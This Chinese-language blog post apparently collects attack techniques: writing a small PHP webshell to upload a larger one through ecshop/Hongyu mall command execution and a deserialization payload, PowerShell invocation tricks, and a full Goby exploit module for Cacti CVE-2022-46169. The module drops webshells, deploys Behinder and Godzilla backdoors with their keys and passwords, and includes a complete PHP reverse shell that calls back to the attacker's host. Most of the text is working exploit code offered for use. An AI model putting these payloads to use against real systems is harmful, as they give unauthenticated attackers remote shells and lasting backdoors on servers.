抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

小马传大马的思想

鸿宇多用户商城 user.php 任意命令执行漏洞

通过命令执行的点,传入 PHP代码。

写入 PHP 代码到文件中,可以先写成 txt 的文件格式,查看写入的内容是否被拦截,是否被解析了。

当前的状态是可以命令执行,在命令执行的部分,直接echo 的方式,进行php 马的写入,可能会失败。这时候,可以先写入txt看看,写入的php函数是否被解析了。

我今天遇到的是,传入的部分,被" 解析了,poc 的部分是这样的,是利用了 user.php 的参数进行传入。然后造成了命令执行。但是user.php,会对传入的数据进行解析。所以,直接在这里传马的话,会被解析处理掉。并且,如果函数里的参数是字符串的形式,比如,$_POST[“string”],它就会被解析掉,不能顺利写入。所以用数字.

所以就想到了,既然能命令执行,那可以写入文件,写一个php的文件,然后再通过这个文件,进行文件上传。先写一个小马,通过小马传大马。写小马的时候,要用绕过的方式来写。不要正向的去写。

1
`echo "<?php file_put_contents($_POST[1],$_POST[2];?>)" > hello.php`};&1=$_POST[1]&2=$_POST[2]

POST 里面的参数,用的是数字,是为了避免写进去的时候被解析掉。file_put_contents 的方式,将内容写入。第一个参数是用来接收传入的文件名的,第二个接收传入的PHP代码。

成功上马

windows环境,cmd 不好用的时候,把 powershell 搞出来

普通命令执行的时候是这样

1
action=login&pp123=${`cmd`};

牛逼并且有回显的命令执行是这样

1
action=login&pp123=${@var_dump(print%20`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%20cmd`)};

如果能执行php,优先php内置执行命令。

1
echo(system("dir"));

PHP 反序列化漏洞

1
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243686959584e6c4e6a52665a47566a6232526c4b435266554539545646747961574e7258536b704f773d3d2729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"

解码后

1
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval	(base64_decode	('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"

其中,前后的部分是md5,解密之后是ecshop

1
ecshopads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval	(base64_decode	('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}ecshop"

所以漏洞传参点,在rick那里,post传入。

eval函数来可以传参来进行php的代码执行。

利用这个代码执行的点,来执行命令

传入参数,执行cmd命令

1
echo(system(\""+cmd+"\"));

进行马的上传

可以利用php的file_put 函数来进行文件的写入。

1
"action=login&rick=" + base64EncodeWaTqS("file_put_contents('"+filename+"',' "+content+"');")

content 的内容是php马的内容,filename是马的文件名。

附录

php中,双引号里面是可以解析变量的,但是单引号里面不解析变量。

想要把以下的内容,通过 php 代码写入到文件中,并且POST 是变量,需要传参数进去。

1
<?php file_put_contents($_POST[1],$_POST[2];?>
1
file_put_contents("hello.txt",'<?php file_put_contents($_POST[1],$_POST[2];?>');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
package exploits

import (
"encoding/base64"
"errors"
"git.gobies.org/goby/goscanner/godclient"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"net/url"
"strings"
"time"
)

func init() {
expJson := `{
"Name": "Cacti monitoring system remote_agent.php command execution vulnerability (CVE-2022-46169)",
"Description": "<p>Cacti is an open source platform that provides users with a powerful and scalable operational monitoring and fault management framework.</p><p>The remote_agent.php file in versions less than 1.22 allows an attacker to access this file without authentication. An attacker can use the parameter $poller_id retrieved by the get_nfilter_request_var() function to satisfy the poller_item =POLLER_ACTION_SCRIPT_PHP condition and trigger the proc_open() function, resulting in command execution. A successful exploit could allow an unauthenticated attacker to execute arbitrary code on a server running Cacti.</p>",
"Product": "Cacti-Monitoring",
"Homepage": "https://www.cacti.net/",
"DisclosureDate": "2022-12-05",
"Author": "[email protected]",
"FofaQuery": "header=\"Set-Cookie: cacti=\" || title=\"Login to Cacti\" || body=\"/plugins/jqueryskin/include/login.css\" || header=\"Cacti Access\" || banner=\"Set-Cookie: cacti=\" || banner=\"Cacti Access\"",
"GobyQuery": "header=\"Set-Cookie: cacti=\" || title=\"Login to Cacti\" || body=\"/plugins/jqueryskin/include/login.css\" || header=\"Cacti Access\" || banner=\"Set-Cookie: cacti=\" || banner=\"Cacti Access\"",
"Level": "3",
"Impact": "<p>The remote_agent.php file in versions less than 1.22 allows an attacker to access this file without authentication. An attacker can use the parameter $poller_id retrieved by the get_nfilter_request_var() function to satisfy the poller_item =POLLER_ACTION_SCRIPT_PHP condition and trigger the proc_open() function, resulting in command execution. A successful exploit could allow an unauthenticated attacker to execute arbitrary code on a server running Cacti.<br><br></p>",
"Recommendation": "<p>1. The manufacturer has released a vulnerability fix, please pay attention to updates in time: <a href=\"https://www.cacti.net/\" rel=\"nofollow\">https://www.cacti.net/</a></p><p>2. Set access policies through security devices such as firewalls and set whitelist access.</p><p>3. Unless necessary, it is prohibited to access the system from the public network.</p>",
"References": [],
"Is0day": false,
"HasExp": true,
"ExpParams": [
{
"name": "attackType",
"type": "select",
"value": "cmd,reverse,webshell",
"show": ""
},
{
"name": "cmd",
"type": "input",
"value": "whoami",
"show": "attackType=cmd"
},
{
"name": "webshell",
"type": "select",
"value": "behinder,godzilla,custom",
"show": "attackType=webshell"
},
{
"name": "filename",
"type": "input",
"value": "hello.php",
"show": "attackType=webshell,webshell=custom"
},
{
"name": "content",
"type": "input",
"value": "<?php phpinfo(); ?>",
"show": "attackType=webshell,webshell=custom"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": []
}
],
"Tags": [
"Command Execution"
],
"VulType": [
"Command Execution"
],
"CVEIDs": [
"CVE-2022-46169"
],
"CNNVD": [
"CNNVD-202212-2342"
],
"CNVD": [
""
],
"CVSSScore": "9.8",
"Translation": {
"CN": {
"Name": "Cacti 监控系统 remote_agent.php 命令执行漏洞(CVE-2022-46169)",
"Product": "Cacti-监控系统",
"Description": "<p>Cacti 是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。</p><p>小于1.22版本中的remote_agent.php文件中,攻击者无需身份验证即可访问此文件。攻击者可利用get_nfilter_request_var()函数检索的参数$poller_id,来满足poller_item =POLLER_ACTION_SCRIPT_PHP条件,触发proc_open()函数,从而导致命令执行。漏洞利用成功后,未经身份验证的攻击者可以在运行 Cacti 的服务器上执行任意代码。<br><br></p>",
"Recommendation": "<p>1、厂商已发布了漏洞修复程序,请及时关注更新:<a href=\"https://www.cacti.net/\" rel=\"nofollow\">https://www.cacti.net/</a></p><p>2、通过防火墙等安全设备设置访问策略,设置白名单访问。</p><p>3、如非必要,禁止公网访问该系统。</p>",
"Impact": "<p>小于1.22版本中的remote_agent.php文件中,攻击者无需身份验证即可访问此文件。攻击者可利用get_nfilter_request_var()函数检索的参数$poller_id,来满足poller_item =POLLER_ACTION_SCRIPT_PHP条件,触发proc_open()函数,从而导致命令执行。漏洞利用成功后,未经身份验证的攻击者可以在运行 Cacti 的服务器上执行任意代码。<br></p>",
"VulType": [
"命令执行"
],
"Tags": [
"命令执行"
]
},
"EN": {
"Name": "Cacti monitoring system remote_agent.php command execution vulnerability (CVE-2022-46169)",
"Product": "Cacti-Monitoring",
"Description": "<p>Cacti is an open source platform that provides users with a powerful and scalable operational monitoring and fault management framework.</p><p>The remote_agent.php file in versions less than 1.22 allows an attacker to access this file without authentication. An attacker can use the parameter $poller_id retrieved by the get_nfilter_request_var() function to satisfy the poller_item =POLLER_ACTION_SCRIPT_PHP condition and trigger the proc_open() function, resulting in command execution. A successful exploit could allow an unauthenticated attacker to execute arbitrary code on a server running Cacti.</p>",
"Recommendation": "<p>1. The manufacturer has released a vulnerability fix, please pay attention to updates in time: <a href=\"https://www.cacti.net/\" rel=\"nofollow\">https://www.cacti.net/</a></p><p>2. Set access policies through security devices such as firewalls and set whitelist access.</p><p>3. Unless necessary, it is prohibited to access the system from the public network.</p>",
"Impact": "<p>The remote_agent.php file in versions less than 1.22 allows an attacker to access this file without authentication. An attacker can use the parameter $poller_id retrieved by the get_nfilter_request_var() function to satisfy the poller_item =POLLER_ACTION_SCRIPT_PHP condition and trigger the proc_open() function, resulting in command execution. A successful exploit could allow an unauthenticated attacker to execute arbitrary code on a server running Cacti.<br><br></p>",
"VulType": [
"Command Execution"
],
"Tags": [
"Command Execution"
]
}
},
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
},
"PostTime": "2024-01-17"
}`

filename := goutils.RandomHexString(5) + ".php"
base64Encode8dhYGFhsgbbhR := func(input string) string {
inputBytes := []byte(input)
encodedString := base64.StdEncoding.EncodeToString(inputBytes)
return encodedString
}
sendPayload8dhYGFhsgbbhR := func(hostInfo *httpclient.FixUrl, payload string) (*httpclient.HttpResponse, error) {
payloadConfig := httpclient.NewGetRequestConfig("/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%7c%20" + url.QueryEscape(payload))
payloadConfig.VerifyTls = false
payloadConfig.FollowRedirect = false
// 写马进去的过程中,没有响应结果,会有一个默认等待时间,修改那个时间。缩短一点
payloadConfig.Timeout = 2
payloadConfig.Header.Store("X-Forwarded-For", "127.0.0.1")
return httpclient.DoHttpRequest(hostInfo, payloadConfig)
}
uploadFile8dhYGFhsgbbhR := func(hostInfo *httpclient.FixUrl, content, param string) (*httpclient.HttpResponse, error) {
// <?php system(base64_decode($_GET[1]));?> 单引号会被吃,并且需要用get的请求方式
checkFileConfig := httpclient.NewGetRequestConfig("/" + filename)
checkFileConfig.VerifyTls = false
checkFileConfig.FollowRedirect = false
// 检查小马是否存在,不存在就创建
if resp, err := httpclient.DoHttpRequest(hostInfo, checkFileConfig); resp == nil && err != nil {
return nil, err
} else if resp != nil && resp.StatusCode != 200 {
// 写马进去的过程中,没有响应结果
sendPayload8dhYGFhsgbbhR(hostInfo, content)
// 文件不存在,重新检查文件是否被创建成功
if check, err := httpclient.DoHttpRequest(hostInfo, checkFileConfig); check == nil && err != nil {
return nil, err
} else if check != nil && check.StatusCode != 200 {
return nil, errors.New("创建文件失败")
}
}
// 文件存在,直接发送
checkRequestConfig := httpclient.NewGetRequestConfig("/" + filename + param)
checkRequestConfig.VerifyTls = false
checkRequestConfig.FollowRedirect = false
return httpclient.DoHttpRequest(hostInfo, checkRequestConfig)
}
checkFile8dhYGFhsgbbhR := func(hostInfo *httpclient.FixUrl, uri string) (*httpclient.HttpResponse, error) {
checkFileConfig := httpclient.NewGetRequestConfig("/" + uri)
checkFileConfig.VerifyTls = false
checkFileConfig.FollowRedirect = false
return httpclient.DoHttpRequest(hostInfo, checkFileConfig)
}
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(poc *jsonvul.JsonVul, hostInfo *httpclient.FixUrl, stepLogs *scanconfig.SingleScanConfig) bool {
checkStr := goutils.RandomHexString(8)
resp, _ := uploadFile8dhYGFhsgbbhR(hostInfo, `echo '<?php system(base64_decode($_GET[1]));?>' > `+filename, `?1=`+url.QueryEscape(base64Encode8dhYGFhsgbbhR("echo "+checkStr)))
return resp != nil && resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, checkStr)
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
attackType := goutils.B2S(ss.Params["attackType"])
if attackType == "cmd" {
filename = goutils.RandomHexString(5) + ".php"
cmd := goutils.B2S(ss.Params["cmd"])
if resp, err := uploadFile8dhYGFhsgbbhR(expResult.HostInfo, `echo '<?php system(base64_decode($_GET[1]));?>' > `+filename, `?1=`+url.QueryEscape(base64Encode8dhYGFhsgbbhR(cmd))); resp != nil && resp.StatusCode == 200 {
expResult.Success = true
expResult.Output = resp.Utf8Html
} else if err != nil {
expResult.Output = err.Error()
} else {
expResult.Output = `漏洞利用失败`
}
} else if attackType == "reverse" {
filename = goutils.RandomHexString(5) + ".php"
reverseFilename := goutils.RandomHexString(5) + ".php"
waitSessionCh := make(chan string)
rp, err := godclient.WaitSession("reverse_linux_none", waitSessionCh)
if err != nil {
expResult.Output = "无可用反弹端口"
return expResult
}
addr := godclient.GetGodServerHost()
reverseCode := `<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '` + addr + `';
$port = ` + rp + `;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?> `
uploadFile8dhYGFhsgbbhR(expResult.HostInfo, `echo '<?php $file = $_GET[1];$content = $_GET[2];file_put_contents($file, base64_decode($content));?>' > `+filename, `?1=`+reverseFilename+`&2=`+url.QueryEscape(base64Encode8dhYGFhsgbbhR(reverseCode)))
checkFile8dhYGFhsgbbhR(expResult.HostInfo, reverseFilename)
select {
case webConsoleID := <-waitSessionCh:
if u, err := url.Parse(webConsoleID); err == nil {
expResult.Success = true
expResult.OutputType = "html"
sid := strings.Join(u.Query()["id"], "")
expResult.Output = `<br/><a href="goby://sessions/view?sid=` + sid + `&key=` + godclient.GetKey() + `">open shell</a>`
}
case <-time.After(time.Second * 20):
expResult.Success = false
expResult.Output = "漏洞利用失败"
}

} else if attackType == "webshell" {
var content string
webshell := goutils.B2S(ss.Params["webshell"])
filename = goutils.RandomHexString(8) + ".php"
webshellFilename := goutils.RandomHexString(5) + ".php"
if webshell == "behinder" {
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
content = `<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION["k"]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded("openssl")){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post,"AES128",$key);}$arr=explode("|",$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p){eval($p."");}}@call_user_func(new C(),$params);?>`
} else if webshell == "godzilla" {
// 哥斯拉 pass key
content = `<?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass="pass"; $payloadName="payload"; $key="3c6e0b8a9c15224a"; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key);}}}?>`
} else {
content = goutils.B2S(ss.Params["content"])
webshellFilename = goutils.B2S(ss.Params["filename"])
}
if resp, err := uploadFile8dhYGFhsgbbhR(expResult.HostInfo, `echo '<?php $file = $_GET[1];$content = $_GET[2];file_put_contents($file, base64_decode($content));?>' > `+filename, `?1=`+webshellFilename+`&2=`+url.QueryEscape(base64Encode8dhYGFhsgbbhR(content))); resp != nil && (resp.StatusCode == 200 || resp.StatusCode == 500) {
expResult.Success = true
expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webshellFilename + "\n"
if webshell == "behinder" {
expResult.Output += "Password: rebeyond\n"
expResult.Output += "WebShell tool: Behinder v3.0\n"
} else if webshell == "godzilla" {
expResult.Output += "Password: pass 加密器:PHP_XOR_BASE64\n"
expResult.Output += "WebShell tool: Godzilla v4.1\n"
}
expResult.Output += "Webshell type: php"
} else if err != nil {
expResult.Output = err.Error()
} else {
expResult.Output = `漏洞利用失败`
}
} else {
expResult.Output = `未知的利用方式`
}
return expResult
},
))
}

评论